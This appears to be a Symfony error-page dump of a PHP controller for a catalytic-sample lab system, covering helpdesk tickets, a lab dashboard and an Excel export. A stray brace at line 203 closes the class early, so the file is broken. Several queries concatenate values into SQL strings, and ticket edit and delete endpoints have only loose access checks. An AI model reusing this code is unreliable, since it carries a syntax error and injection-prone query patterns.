src/Controller/DefaultController.php line 366

Open in your IDE?
  1. <?php
  2. namespace App\Controller;
  3. use App\Dto\MinExportCountryRelationPayload;
  4. use App\Entity\AuBatch;
  5. use App\Entity\CatRequest;
  6. use App\Entity\ClientParcel;
  7. use App\Entity\DISQBatch;
  8. use App\Entity\ElSample;
  9. use App\Entity\Exports;
  10. use App\Entity\FABatch;
  11. use App\Entity\FeedEntry;
  12. use App\Entity\FInventory;
  13. use App\Entity\Helpdesk;
  14. use App\Entity\ICPBatch;
  15. use App\Entity\ICPRun;
  16. use App\Entity\Inventory;
  17. use App\Entity\Invoice;
  18. use App\Entity\Log;
  19. use App\Entity\Moists;
  20. use App\Entity\MonthlyBonus;
  21. use App\Entity\Orders;
  22. use App\Entity\Params;
  23. use App\Entity\PRun;
  24. use App\Entity\RRun;
  25. use App\Entity\Stock;
  26. use App\Entity\StockManagement;
  27. use App\Entity\User;
  28. use App\Service\AuBatchManager;
  29. use App\Service\ExportCountryRelationService;
  30. use DateTime;
  31. use Doctrine\ORM\EntityManagerInterface;
  32. use Doctrine\ORM\QueryBuilder;
  33. use Doctrine\ORM\Query;
  34. use Doctrine\ORM\Tools\Pagination\Paginator;
  35. use http\Client;
  36. use phpDocumentor\Reflection\Types\Null_;
  37. use Symfony\Component\HttpFoundation\JsonResponse;
  38. use Symfony\Component\HttpFoundation\Request;
  39. use Symfony\Component\Security\Core\Encoder\UserPasswordEncoderInterface;
  40. use Symfony\Component\Routing\Annotation\Route;
  41. use Symfony\Component\HttpFoundation\Response;
  42. use Symfony\Component\HttpFoundation\RedirectResponse;
  43. use Symfony\Component\Serializer\Encoder\JsonEncoder;
  44. use Symfony\Component\Serializer\Encoder\XmlEncoder;
  45. use Symfony\Component\Serializer\Normalizer\AbstractNormalizer;
  46. use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
  47. use Symfony\Component\Serializer\Serializer;
  48. use Symfony\Component\HttpFoundation\ResponseHeaderBag;
  49. use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
  50. use Symfony\Component\HttpKernel\Exception\HttpExceptionInterface;
  51. use Sensio\Bundle\FrameworkExtraBundle\Configuration\IsGranted;
  52. use Sensio\Bundle\FrameworkExtraBundle\Configuration\Security;
  53. use PhpOffice\PhpSpreadsheet\Spreadsheet;
  54. use PhpOffice\PhpSpreadsheet\Writer\Xlsx;
  55. use PhpOffice\PhpSpreadsheet\Writer\Xls;
  56. use PhpOffice\PhpSpreadsheet\Style\Fill;
  57. use PhpOffice\PhpSpreadsheet\Style\Border;
  58. use PhpOffice\PhpSpreadsheet\Style\Alignment;
  59. use Symfony\Component\HttpFoundation\StreamedResponse;
  60. use Symfony\Component\HttpFoundation\File\UploadedFile;
  61. use Symfony\Component\HttpFoundation\File\Exception\FileException;
  62. use Symfony\Component\Filesystem\Filesystem;
  63. use Symfony\Component\String\Slugger\SluggerInterface;
  64. class DefaultController extends AbstractController
  65. {
  66. const FINALIZE_MAX_RH_CUSTOM_BUTTON_VALUE = 0.987;
  67. const FINALIZE_AVG_RH_CUSTOM_BUTTON_VALUE = 0.987;
  68. /**
  69. * @var EntityManager
  70. */
  71. protected $em;
  72. protected $translator;
  73. protected $passwordEncoder;
  74. public function __construct(EntityManagerInterface $entityManager,UserPasswordEncoderInterface $passwordEncoder)
  75. {
  76. $this->em = $entityManager;
  77. $this->passwordEncoder = $passwordEncoder;
  78. }
  79. private function canManageStockPhotos(): bool
  80. {
  81. $user = $this->getUser();
  82. return $user instanceof User && in_array('ROLE_SUPER', $user->getRoles(), true);
  83. }
  84. private function uploadStockPhoto(UploadedFile $file, SluggerInterface $slugger, string $prefix): string
  85. {
  86. $filesystem = new Filesystem();
  87. $directory = $this->getParameter('stock_images_directory');
  88. $filesystem->mkdir($directory);
  89. $originalFilename = pathinfo($file->getClientOriginalName(), PATHINFO_FILENAME);
  90. $safeFilename = (string) $slugger->slug($originalFilename);
  91. $extension = $file->guessExtension() ?: $file->getClientOriginalExtension() ?: 'bin';
  92. $filename = sprintf('%s-%s-%s.%s', $prefix, $safeFilename ?: 'photo', uniqid(), $extension);
  93. try {
  94. $file->move($directory, $filename);
  95. } catch (FileException $exception) {
  96. throw new \RuntimeException('Unable to upload stock photo.', 0, $exception);
  97. }
  98. return $filename;
  99. }
  100. private function removeStockPhotoFile(?string $filename): void
  101. {
  102. if (!$filename) {
  103. return;
  104. }
  105. $filepath = $this->getParameter('stock_images_directory') . '/' . $filename;
  106. if (is_file($filepath)) {
  107. (new Filesystem())->remove($filepath);
  108. }
  109. }
  110. private function handleStockPhotoUpdate(Request $request, Stock $entry, SluggerInterface $slugger): void
  111. {
  112. if (!$this->canManageStockPhotos()) {
  113. return;
  114. }
  115. if ($request->request->get('delete_item_photo')) {
  116. $this->removeStockPhotoFile($entry->getItemPhoto());
  117. $entry->setItemPhoto(null);
  118. }
  119. if ($request->request->get('delete_package_photo')) {
  120. $this->removeStockPhotoFile($entry->getPackagePhoto());
  121. $entry->setPackagePhoto(null);
  122. }
  123. $itemPhoto = $request->files->get('item_photo');
  124. if ($itemPhoto instanceof UploadedFile) {
  125. $this->removeStockPhotoFile($entry->getItemPhoto());
  126. $entry->setItemPhoto($this->uploadStockPhoto($itemPhoto, $slugger, 'stock-item'));
  127. }
  128. $packagePhoto = $request->files->get('package_photo');
  129. if ($packagePhoto instanceof UploadedFile) {
  130. $this->removeStockPhotoFile($entry->getPackagePhoto());
  131. $entry->setPackagePhoto($this->uploadStockPhoto($packagePhoto, $slugger, 'stock-package'));
  132. }
  133. }
  134. private function ensureCurrentMonthExists()
  135. {
  136. $currentDate = new \DateTime();
  137. $currentMonth = (int)$currentDate->format('n');
  138. $currentYear = $currentDate->format('Y');
  139. // Check if current month exists
  140. $existingBonus = $this->getDoctrine()
  141. ->getRepository(MonthlyBonus::class)
  142. ->findOneBy([
  143. 'MonthNo' => $currentMonth,
  144. 'year' => $currentYear
  145. ]);
  146. if (!$existingBonus) {
  147. // Get the most recent bonus record
  148. $lastBonus = $this->getDoctrine()
  149. ->getRepository(MonthlyBonus::class)
  150. ->findOneBy([], ['year' => 'DESC', 'MonthNo' => 'DESC']);
  151. if (!$lastBonus) {
  152. // No records exist, create current month with default target
  153. $newBonus = new MonthlyBonus();
  154. $newBonus->setMonthNo($currentMonth);
  155. $newBonus->setMonthName($currentDate->format('F'));
  156. $newBonus->setYear($currentYear);
  157. $newBonus->setSampleNumber(200);
  158. $newBonus->setActive(true);
  159. $this->em->persist($newBonus);
  160. $this->em->flush();
  161. return;
  162. }
  163. // Get the target from last bonus
  164. $sampleTarget = $lastBonus->getSampleNumber();
  165. // Create all missing months from last existing month to current month
  166. $startDate = new \DateTime($lastBonus->getYear() . '-' . $lastBonus->getMonthNo() . '-01');
  167. $startDate->modify('+1 month'); // Start from next month after last existing
  168. while ($startDate <= $currentDate) {
  169. $monthNo = (int)$startDate->format('n');
  170. $year = $startDate->format('Y');
  171. // Check if this month already exists
  172. $exists = $this->getDoctrine()
  173. ->getRepository(MonthlyBonus::class)
  174. ->findOneBy([
  175. 'MonthNo' => $monthNo,
  176. 'year' => $year
  177. ]);
  178. if (!$exists) {
  179. $newBonus = new MonthlyBonus();
  180. $newBonus->setMonthNo($monthNo);
  181. $newBonus->setMonthName($startDate->format('F'));
  182. $newBonus->setYear($year);
  183. $newBonus->setSampleNumber($sampleTarget);
  184. $newBonus->setActive(false); // Set all to inactive first
  185. $this->em->persist($newBonus);
  186. }
  187. $startDate->modify('+1 month');
  188. }
  189. $this->em->flush();
  190. // Now deactivate ALL months and activate only the current month
  191. $allBonuses = $this->getDoctrine()
  192. ->getRepository(MonthlyBonus::class)
  193. ->findAll();
  194. foreach ($allBonuses as $bonus) {
  195. if ($bonus->getMonthNo() == $currentMonth && $bonus->getYear() == $currentYear) {
  196. $bonus->setActive(true);
  197. } else {
  198. $bonus->setActive(false);
  199. }
  200. }
  201. $this->em->flush();
  202. }
  203. }
  204. /**
  205. * @IsGranted("ROLE_USER")
  206. * @Route("/recent", name="recent")
  207. */
  208. public function recent()
  209. {
  210. return $this->render('cats/recent.html.twig');
  211. }
  212. //=====================================================================================================================================================================================<
  213. /**
  214. * @IsGranted("ROLE_USER")
  215. * @Route("/helpdesk", name="helpdesk")
  216. */
  217. public function helpdesk()
  218. {
  219. $tickets = $this->getDoctrine()->getRepository(Helpdesk::class)->findTicketsSorted();
  220. return $this->render('cats/helpdesk.html.twig', ['tickets' => $tickets]);
  221. }
  222. /**
  223. * @IsGranted("ROLE_USER")
  224. * @Route("/helpdesk/add", name="add_ticket", methods={"POST"})
  225. */
  226. public function addTicket(Request $request, EntityManagerInterface $entityManager) : JsonResponse
  227. {
  228. $data = json_decode($request->getContent(), true);
  229. $ticket = (new Helpdesk())
  230. ->setUser(!empty($data['user']) ? $data['user'] : 'Anonymous')
  231. ->setTitle($data['title'])
  232. ->setIssue($data['issue'])
  233. ->setType($data['type'])
  234. ->setStatus('Open')
  235. ->setPriority('Low')
  236. ->setDateAdded(new \DateTime())
  237. ->setDateModified(new \DateTime());
  238. $entityManager->persist($ticket);
  239. $entityManager->flush();
  240. return new JsonResponse(['message' => 'Ticket created successfully!'], JsonResponse::HTTP_CREATED);
  241. }
  242. /**
  243. * @IsGranted("ROLE_USER")
  244. * @Route("/helpdesk/delete/{id}", name="delete_ticket", methods={"DELETE"})
  245. */
  246. public function deleteTicket(Helpdesk $ticket, EntityManagerInterface $entityManager) : JsonResponse
  247. {
  248. // Check if ticket exists
  249. if (!$ticket) {
  250. return new JsonResponse(['error' => 'Ticket not found'], 404);
  251. }
  252. $entityManager->remove($ticket);
  253. $entityManager->flush();
  254. return new JsonResponse(['message' => 'Ticket deleted successfully'], 200);
  255. }
  256. // Fetch the ticket data by ID
  257. /**
  258. * @IsGranted("ROLE_USER")
  259. * @Route("/helpdesk/edit/{id}", name="helpdesk_edit", methods={"GET"})
  260. */
  261. public function editTicket(Helpdesk $ticket, EntityManagerInterface $entityManager) : JsonResponse
  262. {
  263. if (!$ticket) {
  264. return new JsonResponse(['error' => 'Ticket not found'], JsonResponse::HTTP_NOT_FOUND);
  265. }
  266. // Return ticket data as JSON response
  267. return new JsonResponse([
  268. 'data' => [
  269. 'id' => $ticket->getId(),
  270. 'user' => $ticket->getUser(),
  271. 'title' => $ticket->getTitle(),
  272. 'issue' => $ticket->getIssue(),
  273. 'type' => $ticket->getType(),
  274. 'status' => $ticket->getStatus(),
  275. 'priority' => $ticket->getPriority(),
  276. 'deadline' => $ticket->getDeadline() ? $ticket->getDeadline()->format('Y-m-d') : null
  277. ]
  278. ]);
  279. }
  280. // Update ticket information
  281. /**
  282. * @IsGranted("ROLE_USER")
  283. * @Route("/helpdesk/edit/{id}", name="helpdesk_update", methods={"POST"})
  284. */
  285. public function updateTicket(Helpdesk $ticket, Request $request, EntityManagerInterface $entityManager) : JsonResponse
  286. {
  287. if (!$ticket) {
  288. return new JsonResponse(['error' => 'Ticket not found'], 404);
  289. }
  290. $data = json_decode($request->getContent(), true);
  291. // Update ticket fields
  292. $ticket->setUser($data['user'])
  293. ->setTitle($data['title'])
  294. ->setIssue($data['issue'])
  295. ->setType($data['type'])
  296. ->setStatus($data['status'])
  297. ->setPriority($data['priority'])
  298. ->setDeadline($data['deadline'] ? new \DateTime($data['deadline']) : null)
  299. ->setDateModified(new \DateTime());
  300. if ($data['status'] === 'Closed (Solved)' || $data['status'] === 'Closed (Rejected)'){
  301. $ticket->setDateFinished(new \DateTime());
  302. }
  303. $entityManager->flush();
  304. return new JsonResponse(['message' => 'Ticket updated successfully'], 200);
  305. }
  306. //=====================================================================================================================================================================================<
  307. /**
  308. * @IsGranted("ROLE_USER")
  309. * @Route("/", name="dashboard")
  310. * @param Request $request
  311. * @return Response $response
  312. */
  313. public function index(Request $request)
  314. {
  315. if (in_array("ROLE_LABUSER",$this->getUser()->getRoles())){
  316. // $messages = $this->getDoctrine()->getRepository(FeedEntry::class)->findAll();
  317. $this->ensureCurrentMonthExists();
  318. $month = $request->get("month") ?? null;
  319. $year = $request->get("year") ?? null;
  320. if ($month !=null && $year !=null){
  321. $bonuses = $this->getDoctrine()->getRepository(MonthlyBonus::class)->findOneBy([
  322. 'year' => "$year",
  323. "MonthNo" => "$month"
  324. ]);
  325. } else {
  326. $bonuses = $this->getDoctrine()->getRepository(MonthlyBonus::class)->findOneBy([
  327. "active" => "1"
  328. ],[
  329. 'id' => 'DESC'
  330. ]);
  331. }
  332. // $qb instanceof QueryBuilder
  333. $qb = $this->em->createQueryBuilder();
  334. $qb->select('count(t.id)');
  335. $qb->from(Inventory::class, 't');
  336. $qb->add('where', "t.dateMilled between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-01' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-31 23:59:59'");
  337. // $qb->where('t.dateFinished > 2020-09-18');
  338. $qb->setMaxResults('1');
  339. $milled = $qb->getQuery()->getSingleScalarResult();
  340. // $qb instanceof QueryBuilder
  341. $qb = $this->em->createQueryBuilder();
  342. $qb->select('count(t.id)');
  343. $qb->from(Inventory::class, 't');
  344. $qb->add('where', "t.dateFinished between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-01' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-31 23:59:59'");
  345. // $qb->where('t.dateFinished > 2020-09-18');
  346. $qb->setMaxResults('1');
  347. $result = $qb->getQuery()->getSingleScalarResult();
  348. // $qb instanceof QueryBuilder
  349. $qb = $this->em->createQueryBuilder();
  350. $qb->select('count(t.id)');
  351. $qb->from(Moists::class, 't');
  352. $qb->add('where', "t.DateArchived between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-01' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-31 23:59:59'");
  353. // $qb->where('t.dateFinished > 2020-09-18');
  354. $qb->setMaxResults('1');
  355. $moists = $qb->getQuery()->getSingleScalarResult();
  356. $qb1 = $this->em->createQueryBuilder();
  357. $qb1->select('t');
  358. $qb1->from(FABatch::class, 't');
  359. $qb1->add('where', "t.datefinished between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-01' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-31 23:59:59'");
  360. $anotherresult = $qb1->getQuery()->getResult();
  361. $loginfo= [];
  362. $loginfo2= [];
  363. $batchesdaily = [];
  364. $batchesdaily2 = [];
  365. $anotherresult2 = 0;
  366. $anotherresult4 = 0;
  367. $tasks= [];
  368. foreach ($anotherresult as $x){
  369. array_push($loginfo, $x->getDateFinished()->format('j'));
  370. $sql = "SELECT count(id) FROM fabatch WHERE datefinished between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-". $x->getDateFinished()->format('d') ."' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-". $x->getDateFinished()->format('d') . " 23:59:59'";
  371. $stmt = $this->em->getConnection()->prepare($sql);
  372. $anotherresult2=$stmt->executeQuery()->fetchAllAssociative();
  373. $batchesdaily[$x->getDateFinished()->format('j')] = array_values(array_shift($anotherresult2))[0];
  374. }
  375. $qb3 = $this->em->createQueryBuilder();
  376. $qb3->select('t');
  377. $qb3->from(ICPBatch::class, 't');
  378. $qb3->add('where', "t.date between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-01' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-31 23:59:59'");
  379. $anotherresult3 = $qb3->getQuery()->getResult();
  380. foreach ($anotherresult3 as $x){
  381. array_push($loginfo2, $x->getDate()->format('j'));
  382. $sql = "SELECT count(id) FROM icpbatch WHERE date between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-". $x->getDate()->format('d') ."' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-". $x->getDate()->format('d') . " 23:59:59'";
  383. $stmt = $this->em->getConnection()->prepare($sql);
  384. $anotherresult4=$stmt->executeQuery()->fetchAllAssociative();
  385. $batchesdaily2[$x->getDate()->format('j')] = array_values(array_shift($anotherresult4))[0];
  386. }
  387. // $fortasks = $this->getDoctrine()->getRepository(PRun::class)->findBy([], ['id'=>'DESC'], 1500);
  388. // $fortasks2 = $this->getDoctrine()->getRepository(RRun::class)->findBy([], ['id'=>'DESC'], 8000);
  389. $tasks['WeighQ']= count($this->getDoctrine()->getRepository(RRun::class)->findBy(['status' => 'Weigh Q'])) + count($this->getDoctrine()->getRepository(PRun::class)->findBy(['status' => 'Weigh Q']));
  390. $tasks['FAQ']= count($this->getDoctrine()->getRepository(RRun::class)->findBy(['status' => 'FA Q'])) + count($this->getDoctrine()->getRepository(PRun::class)->findBy(['status' => 'FA Q']));
  391. $tasks['CUPQ']= count($this->getDoctrine()->getRepository(RRun::class)->findBy(['status' => 'CUP Q'])) + count($this->getDoctrine()->getRepository(PRun::class)->findBy(['status' => 'CUP Q']));
  392. $tasks['DISQ']= count($this->getDoctrine()->getRepository(RRun::class)->findBy(['status' => 'DIS Q'])) + count($this->getDoctrine()->getRepository(PRun::class)->findBy(['status' => 'DIS Q']));
  393. $tasks['Confirm']= count($this->getDoctrine()->getRepository(RRun::class)->findBy(['status' => 'Confirm?'])) + count($this->getDoctrine()->getRepository(PRun::class)->findBy(['status' => 'Confirm?']));
  394. // $tasks['WeighQ']=0;
  395. // $tasks['FAQ']=0;
  396. // $tasks['CUPQ']=0;
  397. // $tasks['DISQ']=0;
  398. // $tasks['Confirm']=0;
  399. // $names = array("WeighQ","FAQ","CUPQ","DISQ","Confirm");
  400. // foreach ($fortasks2 as $x){
  401. // /* @var RRun $x */
  402. // $status = str_replace([' ', '?'], '', $x->getStatus());
  403. //
  404. // if (in_array($status, $names)){
  405. // $tasks[$status] = $tasks[$status] + 1;
  406. // }
  407. // }
  408. //
  409. // foreach ($fortasks as $x){
  410. // /* @var PRun $x */
  411. // $status = str_replace([' ', '?'], '', $x->getStatus());
  412. //
  413. // if (in_array($status, $names)){
  414. // $tasks[$status] = $tasks[$status] + 1;
  415. // }
  416. // }
  417. $loginfo = array_unique($loginfo);
  418. $loginfo2 = array_unique($loginfo2);
  419. $batchesdaily3 = [];
  420. $batchesdaily = !$batchesdaily ? $batchesdaily = [1] : $batchesdaily;
  421. $batchesdaily2 = !$batchesdaily2 ? $batchesdaily2 = [1] : $batchesdaily2;
  422. for ($x=1;$x<= ((max(array_keys($batchesdaily)) > max(array_keys($batchesdaily2))) ? max(array_keys($batchesdaily)) :max(array_keys($batchesdaily2)));$x++){
  423. $batchesdaily3[$x]=[ (array_key_exists($x,$batchesdaily) ? $batchesdaily[$x] : 0) , (array_key_exists($x,$batchesdaily2) ? $batchesdaily2[$x] : 0) ];
  424. }
  425. foreach ($batchesdaily3 as $key => $x){
  426. if ($x[0] == 0 and $x[1] == 0){
  427. unset($batchesdaily3[$key]);
  428. }
  429. }
  430. return $this->render('cats/dashboard.html.twig', [
  431. // 'messages' => $messages,
  432. 'bonuses' => $bonuses,
  433. 'data' => $result,
  434. 'data23' => $anotherresult,
  435. 'loginfo' => $loginfo,
  436. 'batchesdaily' => $batchesdaily,
  437. 'test2' => $anotherresult2,
  438. 'icp' => $anotherresult3,
  439. 'icp2' => $batchesdaily2,
  440. 'tasks' => $tasks,
  441. 'shaggin' => $batchesdaily3,
  442. 'milled' => $milled,
  443. 'moists' => $moists
  444. ]);
  445. } else if (in_array("ROLE_CLIENT",$this->getUser()->getRoles())){
  446. $user = $this->getUser();
  447. $country = $user->getCountry();
  448. //$parcels = $user->getClientParcels();
  449. $parcels = $this->getDoctrine()->getRepository(ClientParcel::class)->findBy([
  450. 'client' => $user
  451. ],[
  452. 'dateadded' => 'DESC'
  453. ]);
  454. return $this->render('cats/clientdashboard.html.twig', [
  455. 'parcels' => $parcels
  456. ]);
  457. } else {
  458. $user = $this->getUser();
  459. $country = $user->getCountry();
  460. //$parcels = $user->getClientParcels();
  461. $parcels = $this->getDoctrine()->getRepository(ClientParcel::class)->findBy([
  462. 'client' => $user
  463. ],[
  464. 'dateadded' => 'DESC'
  465. ]);
  466. return $this->render('cats/dashboard.html.twig', [
  467. 'parcels' => $parcels
  468. ]);
  469. }
  470. }
  471. /**
  472. * @Security("is_granted('ROLE_SUPER')")
  473. * @Route("/dashboard/export", name="dashboard_export")
  474. */
  475. public function dashboardExport(Request $request): Response
  476. {
  477. $month = (int)($request->get("month") ?? date('n'));
  478. $year = (int)($request->get("year") ?? date('Y'));
  479. // Add date range support
  480. $dateFrom = $request->get("date_from");
  481. $dateTo = $request->get("date_to");
  482. if ($dateFrom && $dateTo) {
  483. $startDate = $dateFrom . " 00:00:00";
  484. $endDate = $dateTo . " 23:59:59";
  485. $fileName = 'CAT_Report_' . str_replace('-', '', $dateFrom) . '_to_' . str_replace('-', '', $dateTo) . '.xlsx';
  486. $reportTitle = 'CATALYTIC SAMPLE SUMMARY - ' . date('M d, Y', strtotime($dateFrom)) . ' to ' . date('M d, Y', strtotime($dateTo));
  487. } else {
  488. $startDate = "$year-" . str_pad($month, 2, '0', STR_PAD_LEFT) . "-01";
  489. $endDate = "$year-" . str_pad($month, 2, '0', STR_PAD_LEFT) . "-31 23:59:59";
  490. $fileName = 'CAT_Report_' . $year . '_' . str_pad($month, 2, '0', STR_PAD_LEFT) . '.xlsx';
  491. $reportTitle = 'CATALYTIC SAMPLE SUMMARY - ' . date('F', mktime(0, 0, 0, $month, 1)) . ' ' . $year;
  492. }
  493. // Main data query
  494. $sql = "
  495. SELECT
  496. i.id AS `ID`,
  497. DATE_FORMAT(i.dateofreceipt, '%Y-%m-%d %H:%i:%s') AS `Date Added`,
  498. DATE_FORMAT(i.date_finished, '%Y-%m-%d %H:%i:%s') AS `Date Finished`,
  499. i.sample_type AS `Type`,
  500. i.sample_sub_type AS `Subtype`,
  501. i.sample_name AS `Sample Reference`,
  502. i.country AS `Country`,
  503. i.exportno AS `Export #`,
  504. o.orderno AS `Assigned Order`,
  505. i.xrfpt AS `XRF PT`,
  506. i.xrfpd AS `XRF PD`,
  507. i.xrfrh AS `XRF RH`,
  508. i.icppt AS `ICP PT`,
  509. i.icppd AS `ICP PD`,
  510. i.icprh AS `ICP RH`,
  511. i.analysis_status AS `Analysis Status`,
  512. COUNT(DISTINCT r.id) AS `Run Count`,
  513. GROUP_CONCAT(DISTINCT r.rrunref ORDER BY r.id SEPARATOR ', ') AS `Run Refs`
  514. FROM
  515. inventory i
  516. LEFT JOIN
  517. rrun r ON r.assigned_sample_id = i.id
  518. LEFT JOIN
  519. orders o ON i.assigned_order_id = o.id
  520. WHERE
  521. i.analysis_status = 'Completed'
  522. AND i.date_finished BETWEEN ? AND ?
  523. GROUP BY i.id
  524. ORDER BY i.date_finished DESC
  525. ";
  526. $results = $this->em->getConnection()->executeQuery($sql, [
  527. $startDate, $endDate
  528. ])->fetchAllAssociative();
  529. // Summary by Sample Type
  530. $summarySQLWithRuns = "
  531. SELECT
  532. i.sample_type,
  533. COUNT(DISTINCT i.id) as total_samples,
  534. COUNT(DISTINCT r.id) as total_runs
  535. FROM
  536. inventory i
  537. LEFT JOIN
  538. rrun r ON r.assigned_sample_id = i.id
  539. WHERE
  540. i.analysis_status = 'Completed'
  541. AND i.date_finished BETWEEN ? AND ?
  542. GROUP BY i.sample_type
  543. ORDER BY i.sample_type
  544. ";
  545. $summaryResults = $this->em->getConnection()->executeQuery($summarySQLWithRuns, [
  546. $startDate, $endDate
  547. ])->fetchAllAssociative();
  548. // Create Spreadsheet
  549. $spreadsheet = new Spreadsheet();
  550. // Sheet 1: Main Data
  551. $sheet1 = $spreadsheet->getActiveSheet();
  552. $sheet1->setTitle('Sample Data');
  553. if (!empty($results)) {
  554. // Headers
  555. $headers = array_keys($results[0]);
  556. $sheet1->fromArray($headers, null, 'A1');
  557. // Style headers
  558. $headerStyle = $sheet1->getStyle('A1:' . $sheet1->getHighestColumn() . '1');
  559. $headerStyle->getFont()->setBold(true);
  560. $headerStyle->getFill()->setFillType(Fill::FILL_SOLID)->getStartColor()->setARGB('FF4472C4');
  561. $headerStyle->getFont()->getColor()->setARGB('FFFFFFFF');
  562. $headerStyle->getAlignment()->setHorizontal(Alignment::HORIZONTAL_CENTER);
  563. // Data
  564. $sheet1->fromArray($results, null, 'A2', true);
  565. // Center all data cells
  566. $lastRow = count($results) + 1;
  567. $lastColumn = $sheet1->getHighestColumn();
  568. $sheet1->getStyle('A2:' . $lastColumn . $lastRow)
  569. ->getAlignment()
  570. ->setHorizontal(Alignment::HORIZONTAL_CENTER);
  571. // Auto-size columns
  572. foreach (range('A', $sheet1->getHighestColumn()) as $col) {
  573. $sheet1->getColumnDimension($col)->setAutoSize(true);
  574. }
  575. }
  576. // Sheet 2: Summary
  577. $sheet2 = $spreadsheet->createSheet();
  578. $sheet2->setTitle('Summary');
  579. $row = 1;
  580. // Build summary table
  581. $sheet2->setCellValue('A' . $row, $reportTitle);
  582. $sheet2->getStyle('A' . $row)->getFont()->setBold(true)->setSize(14);
  583. $row += 2;
  584. // Headers
  585. $sheet2->fromArray(['Sample Type', 'Total Samples', 'Total Runs'], null, 'A' . $row);
  586. $headerStyle = $sheet2->getStyle('A' . $row . ':C' . $row);
  587. $headerStyle->getFont()->setBold(true);
  588. $headerStyle->getFill()->setFillType(Fill::FILL_SOLID)->getStartColor()->setARGB('FF4472C4');
  589. $headerStyle->getFont()->getColor()->setARGB('FFFFFFFF');
  590. $row++;
  591. // Data rows
  592. $totalSamples = 0;
  593. $totalRuns = 0;
  594. foreach ($summaryResults as $result) {
  595. $sheet2->fromArray([
  596. $result['sample_type'],
  597. $result['total_samples'],
  598. $result['total_runs']
  599. ], null, 'A' . $row);
  600. $totalSamples += (int)$result['total_samples'];
  601. $totalRuns += (int)$result['total_runs'];
  602. $row++;
  603. }
  604. $row++;
  605. // Totals
  606. $sheet2->fromArray([
  607. 'TOTALS',
  608. $totalSamples,
  609. $totalRuns
  610. ], null, 'A' . $row);
  611. $sheet2->getStyle('A' . $row . ':C' . $row)->getFont()->setBold(true)->setSize(12);
  612. $sheet2->getStyle('A' . $row . ':C' . $row)->getFill()->setFillType(Fill::FILL_SOLID)->getStartColor()->setARGB('FFD9D9D9');
  613. // Auto-size columns
  614. foreach (range('A', 'C') as $col) {
  615. $sheet2->getColumnDimension($col)->setAutoSize(true);
  616. }
  617. // Generate Excel file
  618. $writer = new Xlsx($spreadsheet);
  619. $temp_file = tempnam(sys_get_temp_dir(), $fileName);
  620. $writer->save($temp_file);
  621. $response = new Response(file_get_contents($temp_file));
  622. $response->headers->set('Content-Type', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');
  623. $response->headers->set('Content-Disposition', 'attachment; filename="' . $fileName . '"');
  624. unlink($temp_file);
  625. return $response;
  626. }
  627. //=====================================================================================================================================================================================<
  628. /**
  629. * @IsGranted("ROLE_USER")
  630. * @Route("/eucats", name="eucats")
  631. */
  632. public function eucats()
  633. {
  634. $user = $this->getUser();
  635. $country = $user->getCountry();
  636. // $samples = $this->getDoctrine()->getRepository(Inventory::class)->findBy([
  637. // 'country' => ["UK","FR","DE","IT","SC","IT1","IT2","IT3","NL"],
  638. // 'sampleType' => ["Model","Models"]
  639. // ],[
  640. // 'id' => 'DESC'
  641. // ]);
  642. return $this->render('cats/eucats.html.twig', [
  643. 'samples' => '$samples',
  644. ]);
  645. }
  646. //=====================================================================================================================================================================================<
  647. /**
  648. * @IsGranted("ROLE_USER")
  649. * @Route("/eucatreqs", name="eucatreqs")
  650. */
  651. public function eucatreqs()
  652. {
  653. $user = $this->getUser();
  654. $country = $user->getCountry();
  655. $reqs=$this->getDoctrine()->getRepository(CatRequest::class)->findBy([
  656. ],[
  657. 'id' => "DESC"
  658. ]);
  659. return $this->render('cats/eucatreqs.html.twig', [
  660. 'reqs' => $reqs
  661. ]);
  662. }
  663. //=====================================================================================================================================================================================<
  664. /**
  665. * @IsGranted("ROLE_USER")
  666. * @Route("/models", name="models")
  667. */
  668. public function models()
  669. {
  670. $usercountry = $this->getUser()->getCountry();
  671. $newvar = $this->em->getRepository(Inventory::class)->getSearchLists();
  672. // $samples = $this->getDoctrine()->getRepository(Inventory::class)->findBy([
  673. // 'country' => $usercountry,
  674. // 'sampleType' => ["Model","Models"]
  675. // ],[
  676. // 'id' => 'DESC'
  677. // ]);
  678. return $this->render('cats/client.html.twig', [
  679. 'searchlists' => $newvar,
  680. ]);
  681. }
  682. //=====================================================================================================================================================================================<
  683. /**
  684. * @IsGranted("ROLE_USER")
  685. * @Route("/client", name="client")
  686. */
  687. public function client()
  688. {
  689. // $usercountry = $this->getUser()->getCountry();
  690. // $samples = $this->getDoctrine()->getRepository(Inventory::class)->findBy([
  691. // 'country' => $usercountry
  692. // ],[
  693. // 'id' => 'DESC'
  694. // ]);
  695. // $samples2=[];
  696. // if (in_array("WC",$usercountry)){
  697. // $samples2 = $this->em
  698. // ->createQuery(
  699. // "SELECT a FROM App\Entity\Inventory a WHERE a.exportno LIKE '%M%' ORDER BY a.id DESC"
  700. // )
  701. // ->getResult();
  702. // }
  703. // $samples = array_merge($samples,$samples2);
  704. // return $this->render('cats/client.html.twig', [
  705. // 'samples' => $samples,
  706. // ]);
  707. $usercountry = $this->getUser()->getCountry();
  708. $newvar = $this->em->getRepository(Inventory::class)->getSearchLists();
  709. return $this->render('cats/client.html.twig', [
  710. 'searchlists' => $newvar,
  711. ]);
  712. }
  713. //=====================================================================================================================================================================================<
  714. /**
  715. * @IsGranted("ROLE_USER")
  716. * @Route("/deleteclientorder/{id}", name="deleteclientorder")
  717. * @param int $id
  718. * @param Request $request
  719. * @return Response $response
  720. */
  721. public function deleteclientorder(int $id, Request $request)
  722. {
